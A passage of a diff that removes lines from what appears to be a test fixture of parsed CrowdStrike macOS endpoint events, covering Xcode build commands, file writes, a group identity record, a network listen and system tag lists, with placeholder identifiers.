-                    "/Users/user4/Library/Developer/Xcode/DerivedData/Instacart-ceioektzbmfzbcgtsioovgzlzmnt/Build/Intermediates.noindex/Instacart.build/Debug-iphonesimulator/Carrot.build/Objects-normal/x86_64/ChangeLocationActionView.o",
-                    "-o",
-                    "/Users/user4/Library/Developer/Xcode/DerivedData/Instacart-ceioektzbmfzbcgtsioovgzlzmnt/Build/Intermediates.noindex/Instacart.build/Debug-iphonesimulator/Carrot.build/Objects-normal/x86_64/ChangeLocationAddressView.o",
-                    "-o",
-                    "/Users/user4/Library/Developer/Xcode/DerivedData/Instacart-ceioektzbmfzbcgtsioovgzlzmnt/Build/Intermediates.noindex/Instacart.build/Debug-iphonesimulator/Carrot.build/Objects-normal/x86_64/ChangeLocationErrorView.o",
-                    "-o",
-                    "/Users/user4/Library/Developer/Xcode/DerivedData/Instacart-ceioektzbmfzbcgtsioovgzlzmnt/Build/Intermediates.noindex/Instacart.build/Debug-iphonesimulator/Carrot.build/Objects-normal/x86_64/ChangeLocationHeaderView.o",
-                    "-o",
-                    "/Users/user4/Library/Developer/Xcode/DerivedData/Instacart-ceioektzbmfzbcgtsioovgzlzmnt/Build/Intermediates.noindex/Instacart.build/Debug-iphonesimulator/Carrot.build/Objects-normal/x86_64/ChangeLocationLoadingView.o",
-                    "-o",
-                    "/Users/user4/Library/Developer/Xcode/DerivedData/Instacart-ceioektzbmfzbcgtsioovgzlzmnt/Build/Intermediates.noindex/Instacart.build/Debug-iphonesimulator/Carrot.build/Objects-normal/x86_64/ChangeLocationPostalCodeView.o",
-                    "-o",
-                    "/Users/user4/Library/Developer/Xcode/DerivedData/Instacart-ceioektzbmfzbcgtsioovgzlzmnt/Build/Intermediates.noindex/Instacart.build/Debug-iphonesimulator/Carrot.build/Objects-normal/x86_64/ChangeLocationViewController.o",
-                    "-index-store-path",
-                    "/Users/user4/Library/Developer/Xcode/DerivedData/Instacart-ceioektzbmfzbcgtsioovgzlzmnt/Index/DataStore",
-                    "-index-system-modules"
-                ],
-                "args_count": 18,
-                "command_line": "t.build/Debug-iphonesimulator/Carrot.build/Objects-normal/x86_64/CategorySurfaceViewController.o -o /Users/user4/Library/Developer/Xcode/DerivedData/Instacart-ceioektzbmfzbcgtsioovgzlzmnt/Build/Intermediates.noindex/Instacart.build/Debug-iphonesimulator/Carrot.build/Objects-normal/x86_64/ChangeLocationActionView.o -o /Users/user4/Library/Developer/Xcode/DerivedData/Instacart-ceioektzbmfzbcgtsioovgzlzmnt/Build/Intermediates.noindex/Instacart.build/Debug-iphonesimulator/Carrot.build/Objects-normal/x86_64/ChangeLocationAddressView.o -o /Users/user4/Library/Developer/Xcode/DerivedData/Instacart-ceioektzbmfzbcgtsioovgzlzmnt/Build/Intermediates.noindex/Instacart.build/Debug-iphonesimulator/Carrot.build/Objects-normal/x86_64/ChangeLocationErrorView.o -o /Users/user4/Library/Developer/Xcode/DerivedData/Instacart-ceioektzbmfzbcgtsioovgzlzmnt/Build/Intermediates.noindex/Instacart.build/Debug-iphonesimulator/Carrot.build/Objects-normal/x86_64/ChangeLocationHeaderView.o -o /Users/user4/Library/Developer/Xcode/DerivedData/Instacart-ceioektzbmfzbcgtsioovgzlzmnt/Build/Intermediates.noindex/Instacart.build/Debug-iphonesimulator/Carrot.build/Objects-normal/x86_64/ChangeLocationLoadingView.o -o /Users/user4/Library/Developer/Xcode/DerivedData/Instacart-ceioektzbmfzbcgtsioovgzlzmnt/Build/Intermediates.noindex/Instacart.build/Debug-iphonesimulator/Carrot.build/Objects-normal/x86_64/ChangeLocationPostalCodeView.o -o /Users/user4/Library/Developer/Xcode/DerivedData/Instacart-ceioektzbmfzbcgtsioovgzlzmnt/Build/Intermediates.noindex/Instacart.build/Debug-iphonesimulator/Carrot.build/Objects-normal/x86_64/ChangeLocationViewController.o -index-store-path /Users/user4/Library/Developer/Xcode/DerivedData/Instacart-ceioektzbmfzbcgtsioovgzlzmnt/Index/DataStore -index-system-modules",
-                "entity_id": "365035560818271291",
-                "thread": {
-                    "id": 365035560818271291
-                }
-            },
-            "related": {
-                "hash": [
-                    "3090255842"
-                ],
-                "ip": [
-                    "67.43.156.14"
-                ]
-            },
-            "tags": [
-                "preserve_original_event"
-            ]
-        },
-        {
-            "@timestamp": "2021-07-07T17:04:48.576Z",
-            "crowdstrike": {
-                "ConfigStateHash": "3090255842",
-                "ContextProcessId": "364156540965623394",
-                "ContextTimeStamp": "2021-07-07T17:04:48.523Z",
-                "EffectiveTransmissionClass": "2",
-                "Entitlements": "15",
-                "cid": "ffffffff15754bcfb5f9152ec7ac90ac",
-                "id": "ffffffff-1111-11eb-8903-022a1941b91f",
-                "name": "PdfFileWrittenMacV1"
-            },
-            "device": {
-                "id": "ffffffffc4044541995bffd84b9df003"
-            },
-            "event": {
-                "action": "PdfFileWritten",
-                "category": [
-                    "file"
-                ],
-                "created": "2021-07-07T17:04:48.576Z",
-                "id": "ffffffff-1111-11eb-8903-022a1941b91f|ffffffffc4044541995bffd84b9df003|ffffffff15754bcfb5f9152ec7ac90ac",
-                "kind": "event",
-                "original": "{\"event_simpleName\":\"PdfFileWritten\",\"ContextTimeStamp\":\"1625677488.523\",\"ConfigStateHash\":\"3090255842\",\"ContextProcessId\":\"364156540965623394\",\"ContextThreadId\":\"0\",\"aip\":\"67.43.156.13\",\"FileIdentifier\":\"05000001000000000000000000000000f1321d0000000000\",\"ConfigBuild\":\"1007.4.0013701.1\",\"event_platform\":\"Mac\",\"Entitlements\":\"15\",\"name\":\"PdfFileWrittenMacV1\",\"id\":\"ffffffff-1111-11eb-8903-022a1941b91f\",\"EffectiveTransmissionClass\":\"2\",\"aid\":\"ffffffffc4044541995bffd84b9df003\",\"timestamp\":\"1625677488576\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\",\"TargetFileName\":\"/private/var/folders/pt/s9pzbbwd07q_0fxqvfhc513r0000gp/T/com.microsoft.Excel/Content.MSO/mso6ACABA95\"}",
-                "outcome": "success",
-                "type": [
-                    "creation"
-                ]
-            },
-            "file": {
-                "directory": "/private/var/folders/pt/s9pzbbwd07q_0fxqvfhc513r0000gp/T/com.microsoft.Excel/Content.MSO",
-                "inode": "05000001000000000000000000000000f1321d0000000000",
-                "name": "mso6ACABA95",
-                "path": "/private/var/folders/pt/s9pzbbwd07q_0fxqvfhc513r0000gp/T/com.microsoft.Excel/Content.MSO/mso6ACABA95",
-                "type": "file"
-            },
-            "host": {
-                "id": "ffffffffc4044541995bffd84b9df003",
-                "os": {
-                    "type": "macos"
-                }
-            },
-            "message": "PdfFileWritten",
-            "observer": {
-                "address": [
-                    "67.43.156.13"
-                ],
-                "geo": {
-                    "continent_name": "Asia",
-                    "country_iso_code": "BT",
-                    "country_name": "Bhutan",
-                    "location": {
-                        "lat": 27.5,
-                        "lon": 90.5
-                    }
-                },
-                "ip": [
-                    "67.43.156.13"
-                ],
-                "serial_number": "ffffffffc4044541995bffd84b9df003",
-                "version": "1007.4.0013701.1"
-            },
-            "process": {
-                "entity_id": "364156540965623394",
-                "thread": {
-                    "id": 0
-                }
-            },
-            "related": {
-                "hash": [
-                    "3090255842"
-                ],
-                "ip": [
-                    "67.43.156.13"
-                ]
-            },
-            "tags": [
-                "preserve_original_event"
-            ]
-        },
-        {
-            "@timestamp": "2021-07-07T17:04:38.379Z",
-            "crowdstrike": {
-                "AuthenticationId": "1119489580471877843",
-                "AuthenticationUuid": "ABCDEFAB-CDEF-ABCD-EFAB-CDEF000000F2",
-                "AuthenticationUuidAsString": "ABCDEFAB-CDEF-ABCD-EFAB-CDEF000000F2",
-                "ConfigStateHash": "3967242894",
-                "EffectiveTransmissionClass": "2",
-                "Entitlements": "15",
-                "cid": "ffffffff15754bcfb5f9152ec7ac90ac",
-                "id": "ffffffff-1111-11eb-9dc2-029257dbe83b",
-                "name": "GroupIdentityMacV2"
-            },
-            "device": {
-                "id": "ffffffff44564c2f8d76394cb25c31ab"
-            },
-            "event": {
-                "action": "GroupIdentity",
-                "created": "2021-07-07T17:04:38.379Z",
-                "id": "ffffffff-1111-11eb-9dc2-029257dbe83b|ffffffff44564c2f8d76394cb25c31ab|ffffffff15754bcfb5f9152ec7ac90ac",
-                "original": "{\"event_simpleName\":\"GroupIdentity\",\"GID\":\"242\",\"AuthenticationUuidAsString\":\"ABCDEFAB-CDEF-ABCD-EFAB-CDEF000000F2\",\"ConfigStateHash\":\"3967242894\",\"aip\":\"67.43.156.13\",\"AuthenticationId\":\"1119489580471877843\",\"UserPrincipal\":\"user2@dom1\",\"UserSid\":\"S-1-5-21-3852557355-3178143607-2040168074-1485\",\"ConfigBuild\":\"1007.4.0013701.1\",\"event_platform\":\"Mac\",\"Entitlements\":\"15\",\"name\":\"GroupIdentityMacV2\",\"id\":\"ffffffff-1111-11eb-9dc2-029257dbe83b\",\"EffectiveTransmissionClass\":\"2\",\"aid\":\"ffffffff44564c2f8d76394cb25c31ab\",\"AuthenticationUuid\":\"ABCDEFAB-CDEF-ABCD-EFAB-CDEF000000F2\",\"timestamp\":\"1625677478379\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\"}"
-            },
-            "host": {
-                "id": "ffffffff44564c2f8d76394cb25c31ab",
-                "os": {
-                    "type": "macos"
-                }
-            },
-            "message": "GroupIdentity",
-            "observer": {
-                "address": [
-                    "67.43.156.13"
-                ],
-                "geo": {
-                    "continent_name": "Asia",
-                    "country_iso_code": "BT",
-                    "country_name": "Bhutan",
-                    "location": {
-                        "lat": 27.5,
-                        "lon": 90.5
-                    }
-                },
-                "ip": [
-                    "67.43.156.13"
-                ],
-                "serial_number": "ffffffff44564c2f8d76394cb25c31ab",
-                "version": "1007.4.0013701.1"
-            },
-            "related": {
-                "hash": [
-                    "3967242894"
-                ],
-                "ip": [
-                    "67.43.156.13"
-                ],
-                "user": [
-                    "user2",
-                    "user2@dom1",
-                    "S-1-5-21-3852557355-3178143607-2040168074-1485"
-                ]
-            },
-            "tags": [
-                "preserve_original_event"
-            ],
-            "user": {
-                "domain": "dom1",
-                "email": "user2@dom1",
-                "full_name": "user2",
-                "group": {
-                    "id": "242"
-                },
-                "id": "S-1-5-21-3852557355-3178143607-2040168074-1485"
-            }
-        },
-        {
-            "@timestamp": "2021-07-07T17:04:39.336Z",
-            "crowdstrike": {
-                "ConfigStateHash": "3967242894",
-                "ContextProcessId": "364938429384226082",
-                "ContextTimeStamp": "2021-07-07T01:50:11.845Z",
-                "EffectiveTransmissionClass": "2",
-                "Entitlements": "15",
-                "MachOSubType": "3",
-                "SHA256HashData": "c0f50d27fe9fb31e33d1ce6577eeb4d4e17639095ad20575da018d1fcf955198",
-                "cid": "ffffffff15754bcfb5f9152ec7ac90ac",
-                "id": "ffffffff-1111-11eb-9dc2-029257dbe83b",
-                "name": "MachOFileWrittenMacV3"
-            },
-            "device": {
-                "id": "ffffffff44564c2f8d76394cb25c31ab"
-            },
-            "event": {
-                "action": "MachOFileWritten",
-                "category": [
-                    "file"
-                ],
-                "created": "2021-07-07T17:04:39.336Z",
-                "id": "ffffffff-1111-11eb-9dc2-029257dbe83b|ffffffff44564c2f8d76394cb25c31ab|ffffffff15754bcfb5f9152ec7ac90ac",
-                "kind": "event",
-                "original": "{\"event_simpleName\":\"MachOFileWritten\",\"ContextTimeStamp\":\"1625622611.845\",\"ConfigStateHash\":\"3967242894\",\"MachOSubType\":\"3\",\"ContextProcessId\":\"364938429384226082\",\"Size\":\"0\",\"ContextThreadId\":\"0\",\"aip\":\"67.43.156.13\",\"SHA256HashData\":\"c0f50d27fe9fb31e33d1ce6577eeb4d4e17639095ad20575da018d1fcf955198\",\"FileIdentifier\":\"04000001000000000000000000000000ac41270400000000\",\"ConfigBuild\":\"1007.4.0013701.1\",\"event_platform\":\"Mac\",\"Entitlements\":\"15\",\"name\":\"MachOFileWrittenMacV3\",\"id\":\"ffffffff-1111-11eb-9dc2-029257dbe83b\",\"EffectiveTransmissionClass\":\"2\",\"aid\":\"ffffffff44564c2f8d76394cb25c31ab\",\"timestamp\":\"1625677479336\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\",\"TargetFileName\":\"/private/var/folders/bf/dwpvdj3d1tq00l8fgs5rd7x00000gn/T/.net.example.desktop.ev80yl\"}",
-                "outcome": "success",
-                "type": [
-                    "change"
-                ]
-            },
-            "file": {
-                "directory": "/private/var/folders/bf/dwpvdj3d1tq00l8fgs5rd7x00000gn/T",
-                "extension": "ev80yl",
-                "hash": {
-                    "sha256": "c0f50d27fe9fb31e33d1ce6577eeb4d4e17639095ad20575da018d1fcf955198"
-                },
-                "inode": "04000001000000000000000000000000ac41270400000000",
-                "name": ".net.example.desktop.ev80yl",
-                "path": "/private/var/folders/bf/dwpvdj3d1tq00l8fgs5rd7x00000gn/T/.net.example.desktop.ev80yl",
-                "size": 0,
-                "type": "file"
-            },
-            "host": {
-                "id": "ffffffff44564c2f8d76394cb25c31ab",
-                "os": {
-                    "type": "macos"
-                }
-            },
-            "message": "MachOFileWritten",
-            "observer": {
-                "address": [
-                    "67.43.156.13"
-                ],
-                "geo": {
-                    "continent_name": "Asia",
-                    "country_iso_code": "BT",
-                    "country_name": "Bhutan",
-                    "location": {
-                        "lat": 27.5,
-                        "lon": 90.5
-                    }
-                },
-                "ip": [
-                    "67.43.156.13"
-                ],
-                "serial_number": "ffffffff44564c2f8d76394cb25c31ab",
-                "version": "1007.4.0013701.1"
-            },
-            "process": {
-                "entity_id": "364938429384226082",
-                "thread": {
-                    "id": 0
-                }
-            },
-            "related": {
-                "hash": [
-                    "c0f50d27fe9fb31e33d1ce6577eeb4d4e17639095ad20575da018d1fcf955198",
-                    "3967242894"
-                ],
-                "ip": [
-                    "67.43.156.13"
-                ]
-            },
-            "tags": [
-                "preserve_original_event"
-            ]
-        },
-        {
-            "@timestamp": "2021-07-07T17:04:38.929Z",
-            "crowdstrike": {
-                "ConfigStateHash": "3967242894",
-                "ConnectionFlags": "0",
-                "ContextProcessId": "364938390018585510",
-                "ContextTimeStamp": "2021-07-07T01:50:08.014Z",
-                "EffectiveTransmissionClass": "3",
-                "Entitlements": "15",
-                "InContext": "0",
-                "LocalAddressIP6": [
-                    "0:0:0:0:0:0:0:0"
-                ],
-                "cid": "ffffffff15754bcfb5f9152ec7ac90ac",
-                "id": "ffffffff-1111-11eb-9dc2-029257dbe83b",
-                "name": "NetworkListenIP6MacV10"
-            },
-            "destination": {
-                "address": "0:0:0:0:0:0:0:0",
-                "ip": "0:0:0:0:0:0:0:0",
-                "port": 0
-            },
-            "device": {
-                "id": "ffffffff44564c2f8d76394cb25c31ab"
-            },
-            "event": {
-                "action": "NetworkListenIP6",
-                "category": [
-                    "network"
-                ],
-                "created": "2021-07-07T17:04:38.929Z",
-                "id": "ffffffff-1111-11eb-9dc2-029257dbe83b|ffffffff44564c2f8d76394cb25c31ab|ffffffff15754bcfb5f9152ec7ac90ac",
-                "kind": "event",
-                "original": "{\"event_simpleName\":\"NetworkListenIP6\",\"ContextTimeStamp\":\"1625622608.014\",\"LocalAddressIP6\":\"0:0:0:0:0:0:0:0\",\"RemoteAddressIP6\":\"0:0:0:0:0:0:0:0\",\"ConfigStateHash\":\"3967242894\",\"ConnectionFlags\":\"0\",\"ContextProcessId\":\"364938390018585510\",\"RemotePort\":\"0\",\"aip\":\"67.43.156.13\",\"ConfigBuild\":\"1007.4.0013701.1\",\"event_platform\":\"Mac\",\"LocalPort\":\"8770\",\"Entitlements\":\"15\",\"name\":\"NetworkListenIP6MacV10\",\"id\":\"ffffffff-1111-11eb-9dc2-029257dbe83b\",\"Protocol\":\"6\",\"EffectiveTransmissionClass\":\"3\",\"aid\":\"ffffffff44564c2f8d76394cb25c31ab\",\"ConnectionDirection\":\"2\",\"InContext\":\"0\",\"timestamp\":\"1625677478929\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\"}",
-                "outcome": "success",
-                "type": [
-                    "start"
-                ]
-            },
-            "host": {
-                "id": "ffffffff44564c2f8d76394cb25c31ab",
-                "os": {
-                    "type": "macos"
-                }
-            },
-            "message": "NetworkListenIP6",
-            "network": {
-                "direction": "unknown",
-                "iana_number": "6",
-                "transport": "tcp"
-            },
-            "observer": {
-                "address": [
-                    "67.43.156.13"
-                ],
-                "geo": {
-                    "continent_name": "Asia",
-                    "country_iso_code": "BT",
-                    "country_name": "Bhutan",
-                    "location": {
-                        "lat": 27.5,
-                        "lon": 90.5
-                    }
-                },
-                "ip": [
-                    "67.43.156.13"
-                ],
-                "serial_number": "ffffffff44564c2f8d76394cb25c31ab",
-                "version": "1007.4.0013701.1"
-            },
-            "process": {
-                "entity_id": "364938390018585510"
-            },
-            "related": {
-                "hash": [
-                    "3967242894"
-                ],
-                "ip": [
-                    "67.43.156.13",
-                    "0:0:0:0:0:0:0:0"
-                ]
-            },
-            "source": {
-                "address": "0:0:0:0:0:0:0:0",
-                "ip": "0:0:0:0:0:0:0:0",
-                "port": 8770
-            },
-            "tags": [
-                "preserve_original_event"
-            ]
-        },
-        {
-            "@timestamp": "2021-07-07T17:05:02.693Z",
-            "crowdstrike": {
-                "ConfigStateHash": "3090255842",
-                "EffectiveTransmissionClass": "0",
-                "Entitlements": "15",
-                "SystemTableIndex": 0,
-                "Tags": [
-                    "312",
-                    "11544872091698",
-                    "21990232555653",
-                    "21990232555859",
-                    "26388279066700",
-                    "26388279066703",
-                    "26388279066704",
-                    "26388279066705",
-                    "26388279066708",
-                    "26388279066849",
-                    "26388279066855",
-                    "26388279066948",
-                    "26388279066958",
-                    "26388279066970",
-                    "26388279067150",
-                    "26388279067174",
-                    "26388279067175",
-                    "26405458935929",
-                    "26405458935963",
-                    "26405458935964",
-                    "26405458936063",
-                    "26405458936087",
-                    "26405458936088",
-                    "26405458936130",
-                    "26405458936163",
-                    "26405458936164",
-                    "26405458936166",
-                    "26405458936167",
-                    "26405458936242",
-                    "26405458936306",
-                    "26405458936307",
-                    "26405458936357",
-                    "26405458936510",
-                    "26405458936511",
-                    "26405458936522",
-                    "26405458936523",
-                    "26422638805193",
-                    "26422638805230",
-                    "26422638805244",
-                    "26422638805245",
-                    "26422638805246",
-                    "26439818674539",
-                    "26439818674540",
-                    "26439818674541",
-                    "26439818674542",
-                    "26439818674543",
-                    "26439818674544",
-                    "26439818674614",
-                    "26439818674615",
-                    "26439818674616",
-                    "26439818674617",
-                    "26439818674678",
-                    "26439818674679",
-                    "26439818674680",
-                    "26439818674882",
-                    "26439818674883",
-                    "26439818674884",
-                    "26439818674894",
-                    "26439818674895",
-                    "26439818674896",
-                    "26456998543646",
-                    "26456998543647",
-                    "26456998543648",
-                    "26456998543649",
-                    "26456998543650",
-                    "26456998543651",
-                    "26456998543652",
-                    "26456998543653",
-                    "26456998543654",
-                    "26456998543656",
-                    "26456998543721",
-                    "26456998543722",
-                    "26456998543744",
-                    "26456998543793",
-                    "26456998543811",
-                    "26456998543903",
-                    "26456998543904",
-                    "26456998543950",
-                    "26456998543963",
-                    "26456998544000",
-                    "26456998544045",
-                    "26456998544086",
-                    "26456998544087",
-                    "26456998544115",
-                    "30803505447073",
-                    "30803505447074",
-                    "30803505447075",
-                    "30803505447076",
-                    "30803505447077",
-                    "30803505447078",
-                    "30803505447194",
-                    "30803505447195",
-                    "30803505447196",
-                    "30803505447528",
-                    "30803505447529",
-                    "30803505447530",
-                    "30803505447532",
-                    "30803505447533",
-                    "30803505447534",
-                    "30803505447537",
-                    "30803505447538",
-                    "30803505447539",
-                    "30803505447541",
-                    "30803505447542",
-                    "30803505447543",
-                    "30803505447567",
-                    "30803505447568",
-                    "30803505447569",
-                    "30803505447571",
-                    "30803505447572",
-                    "30803505447573",
-                    "30803505447575",
-                    "30803505447576",
-                    "30803505447577",
-                    "30803505447579",
-                    "30803505447580",
-                    "30803505447581",
-                    "30803505447583",
-                    "30803505447584"
-                ],
-                "cid": "ffffffff15754bcfb5f9152ec7ac90ac",
-                "id": "ffffffff-1111-11eb-b88d-06b7cb0d7bd7",
-                "name": "CurrentSystemTagsMacV1"
-            },
-            "device": {
-                "id": "ffffffff62714a708030d494ca0a7e60"
-            },
-            "event": {
-                "action": "CurrentSystemTags",
-                "category": [
-                    "host"
-                ],
-                "created": "2021-07-07T17:05:02.693Z",
-                "id": "ffffffff-1111-11eb-b88d-06b7cb0d7bd7|ffffffff62714a708030d494ca0a7e60|ffffffff15754bcfb5f9152ec7ac90ac",
-                "kind": "state",
-                "original": "{\"event_simpleName\":\"CurrentSystemTags\",\"ConfigStateHash\":\"3090255842\",\"aip\":\"67.43.156.14\",\"ConfigBuild\":\"1007.4.0013701.1\",\"event_platform\":\"Mac\",\"SystemTableIndex\":\"0\",\"Entitlements\":\"15\",\"name\":\"CurrentSystemTagsMacV1\",\"id\":\"ffffffff-1111-11eb-b88d-06b7cb0d7bd7\",\"EffectiveTransmissionClass\":\"0\",\"aid\":\"ffffffff62714a708030d494ca0a7e60\",\"Tags\":\"312, 11544872091698, 21990232555653, 21990232555859, 26388279066700, 26388279066703, 26388279066704, 26388279066705, 26388279066708, 26388279066849, 26388279066855, 26388279066948, 26388279066958, 26388279066970, 26388279067150, 26388279067174, 26388279067175, 26405458935929, 26405458935963, 26405458935964, 26405458936063, 26405458936087, 26405458936088, 26405458936130, 26405458936163, 26405458936164, 26405458936166, 26405458936167, 26405458936242, 26405458936306, 26405458936307, 26405458936357, 26405458936510, 26405458936511, 26405458936522, 26405458936523, 26422638805193, 26422638805230, 26422638805244, 26422638805245, 26422638805246, 26439818674539, 26439818674540, 26439818674541, 26439818674542, 26439818674543, 26439818674544, 26439818674614, 26439818674615, 26439818674616, 26439818674617, 26439818674678, 26439818674679, 26439818674680, 26439818674882, 26439818674883, 26439818674884, 26439818674894, 26439818674895, 26439818674896, 26456998543646, 26456998543647, 26456998543648, 26456998543649, 26456998543650, 26456998543651, 26456998543652, 26456998543653, 26456998543654, 26456998543656, 26456998543721, 26456998543722, 26456998543744, 26456998543793, 26456998543811, 26456998543903, 26456998543904, 26456998543950, 26456998543963, 26456998544000, 26456998544045, 26456998544086, 26456998544087, 26456998544115, 30803505447073, 30803505447074, 30803505447075, 30803505447076, 30803505447077, 30803505447078, 30803505447194, 30803505447195, 30803505447196, 30803505447528, 30803505447529, 30803505447530, 30803505447532, 30803505447533, 30803505447534, 30803505447537, 30803505447538, 30803505447539, 30803505447541, 30803505447542, 30803505447543, 30803505447567, 30803505447568, 30803505447569, 30803505447571, 30803505447572, 30803505447573, 30803505447575, 30803505447576, 30803505447577, 30803505447579, 30803505447580, 30803505447581, 30803505447583, 30803505447584\",\"timestamp\":\"1625677502693\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\"}",
-                "outcome": "success",
-                "type": [
-                    "info"
-                ]
-            },
-            "host": {
-                "id": "ffffffff62714a708030d494ca0a7e60",
-                "os": {
-                    "type": "macos"
-                }
-            },
-            "message": "CurrentSystemTags",
-            "observer": {
-                "address": [
-                    "67.43.156.14"
-                ],
-                "geo": {
-                    "continent_name": "Asia",
-                    "country_iso_code": "BT",
-                    "country_name": "Bhutan",
-                    "location": {
-                        "lat": 27.5,
-                        "lon": 90.5
-                    }
-                },
-                "ip": [
-                    "67.43.156.14"
-                ],
-                "serial_number": "ffffffff62714a708030d494ca0a7e60",
-                "version": "1007.4.0013701.1"
-            },
-            "related": {
-                "hash": [
-                    "3090255842"
-                ],
-                "ip": [
-                    "67.43.156.14"
-                ]
-            },
-            "tags": [
-                "preserve_original_event"
-            ]
-        },
-        {
-            "@timestamp": "2021-07-07T17:05:33.060Z",
-            "crowdstrike": {
-                "ConfigStateHash": "1620585913",
-                "ContextProcessId": "362208380891022165",
-                "ContextTimeStamp": "2021-07-07T17:05:33.027Z",
-                "EffectiveTransmissionClass": "2",
-                "Entitlements": "15",
-                "SHA256HashData": "70a06a11057efb22285a7200a53e5b6bae001fe0a98d4b23d0f6a31ad818a005",
-                "VnodeModificationType": "0",
-                "cid": "ffffffff15754bcfb5f9152ec7ac90ac",
-                "id": "ffffffff-1111-11eb-985c-02152dd35bc1",
-                "name": "NewExecutableWrittenMacV2"
-            },
-            "device": {
-                "id": "ffffffff28414c2293e35c360213e723"
-            },
-            "event": {
-                "action": "NewExecutableWritten",
-                "category": [
-                    "file"
-                ],
-                "created": "2021-07-07T17:05:33.060Z",
-                "id": "ffffffff-1111-11eb-985c-02152dd35bc1|ffffffff28414c2293e35c360213e723|ffffffff15754bcfb5f9152ec7ac90ac",
-                "kind": "event",
-                "original": "{\"event_simpleName\":\"NewExecutableWritten\",\"ContextTimeStamp\":\"1625677533.027\",\"ConfigStateHash\":\"1620585913\",\"ContextProcessId\":\"362208380891022165\",\"Size\":\"596224\",\"ContextThreadId\":\"0\",\"aip\":\"67.43.156.14\",\"SHA256HashData\":\"70a06a11057efb22285a7200a53e5b6bae001fe0a98d4b23d0f6a31ad818a005\",\"ConfigBuild\":\"1007.4.0013701.1\",\"event_platform\":\"Mac\",\"Entitlements\":\"15\",\"name\":\"NewExecutableWrittenMacV2\",\"id\":\"ffffffff-1111-11eb-985c-02152dd35bc1\",\"EffectiveTransmissionClass\":\"2\",\"aid\":\"ffffffff28414c2293e35c360213e723\",\"timestamp\":\"1625677533060\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\",\"TargetFileName\":\"/private/var/folders/3c/z7j1h7dx3nz3xkl10c1vyxgh0000gp/T/.com.google.Chrome.CVG7Ya/Zoom.app/Contents/MacOS/app_mode_loader\",\"VnodeModificationType\":\"0\"}",
-                "outcome": "success",
-                "type": [
-                    "creation"
-                ]
-            },
-            "file": {
-                "directory": "/private/var/folders/3c/z7j1h7dx3nz3xkl10c1vyxgh0000gp/T/.com.google.Chrome.CVG7Ya/Zoom.app/Contents/MacOS",
-                "hash": {
-                    "sha256": "70a06a11057efb22285a7200a53e5b6bae001fe0a98d4b23d0f6a31ad818a005"
-                },
-                "name": "app_mode_loader",
-                "path": "/private/var/folders/3c/z7j1h7dx3nz3xkl10c1vyxgh0000gp/T/.com.google.Chrome.CVG7Ya/Zoom.app/Contents/MacOS/app_mode_loader",
-                "size": 596224,
-                "type": "file"
-            },
-            "host": {
-                "id": "ffffffff28414c2293e35c360213e723",
-                "os": {
-                    "type": "macos"
-                }
-            },
-            "message": "NewExecutableWritten",
-            "observer": {
-                "address": [
-                    "67.43.156.14"
-                ],
-                "geo": {
-                    "continent_name": "Asia",
-                    "country_iso_code": "BT",
-                    "country_name": "Bhutan",
-                    "location": {
-                        "lat": 27.5,
-                        "lon": 90.5
-                    }
-                },
-                "ip": [
-                    "67.43.156.14"
-                ],
-                "serial_number": "ffffffff28414c2293e35c360213e723",
-                "version": "1007.4.0013701.1"
-            },
-            "process": {
-                "entity_id": "362208380891022165",
-                "thread": {
-                    "id": 0
-                }
-            },
-            "related": {
-                "hash": [
-                    "70a06a11057efb22285a7200a53e5b6bae001fe0a98d4b23d0f6a31ad818a005",
-                    "1620585913"
-                ],
-                "ip": [
-                    "67.43.156.14"
-                ]
-            },
-            "tags": [
-                "preserve_original_event"
-            ]
-        },
-        {
-            "@timestamp": "2021-07-07T17:03:48.827Z",
-            "crowdstrike": {
-                "AttemptNumber": 0,
-                "ConfigStateHash": "3090255842",
-                "EffectiveTransmissionClass": "2",
-                "Entitlements": "15",
-                "LfoUploadFlags": "4",
-                "SHA256HashData": "d7b56e2a06304ecd343985a1aaedff2eb32ee1151bba0e152aff97c778b7562a",
-                "Tags": [
-                    "312",
-                    "11544872091698",
-                    "21990232555653",
-                    "21990232555859",
-                    "26388279066700",
-                    "26388279066703",
-                    "26388279066704",
-                    "26388279066705",
-                    "26388279066708",
-                    "26388279066849",
-                    "26388279066855",
-                    "26388279066948",
-                    "26388279066958",
-                    "26388279066970",
-                    "26388279067150",
-                    "26388279067174",
-                    "26388279067175",
-                    "26405458935929",
-                    "26405458935963",
-                    "26405458935964",
-                    "26405458936063",
-                    "26405458936087",
-                    "26405458936088",
-                    "26405458936130",
-                    "26405458936163",
-                    "26405458936164",
-                    "26405458936166",
-                    "26405458936167",
-                    "26405458936242",
-                    "26405458936306",
-                    "26405458936307",
-                    "26405458936357",
-                    "26405458936510",
-                    "26405458936511",
-                    "26405458936522",
-                    "26405458936523",
-                    "26422638805193",
-                    "26422638805230",
-                    "26422638805244",
-                    "26422638805245",
-                    "26422638805246",
-                    "26439818674539",
-                    "26439818674540",
-                    "26439818674541",
-                    "26439818674542",
-                    "26439818674543",
-                    "26439818674544",
-                    "26439818674614",
-                    "26439818674615",
-                    "26439818674616",
-                    "26439818674617",
-                    "26439818674678",
-                    "26439818674679",
-                    "26439818674680",
-                    "26439818674882",
-                    "26439818674883",
-                    "26439818674884",
-                    "26439818674894",
-                    "26439818674895",
-                    "26439818674896",
-                    "26456998543646",
-                    "26456998543647",
-                    "26456998543648",
-                    "26456998543649",
-                    "26456998543650",
-                    "26456998543651",
-                    "26456998543652",
-                    "26456998543653",
-                    "26456998543654",
-                    "26456998543656",
-                    "26456998543721",
-                    "26456998543722",
-                    "26456998543744",
-                    "26456998543793",
-                    "26456998543811",
-                    "26456998543903",
-                    "26456998543904",
-                    "26456998543950",
-                    "26456998543963",
-                    "26456998544000",
-                    "26456998544045",
-                    "26456998544086",
-                    "26456998544087",
-                    "26456998544115",
-                    "30803505447073",
-                    "30803505447074",
-                    "30803505447075",
-                    "30803505447076",
-                    "30803505447077",
-                    "30803505447078",
-                    "30803505447194",
-                    "30803505447195",
-                    "30803505447196",
-                    "30803505447528",
-                    "30803505447529",
-                    "30803505447530",
-                    "30803505447532",
-                    "30803505447533",
-                    "30803505447534",
-                    "30803505447537",
-                    "30803505447538",
-                    "30803505447539",
-                    "30803505447541",
-                    "30803505447542",
-                    "30803505447543",
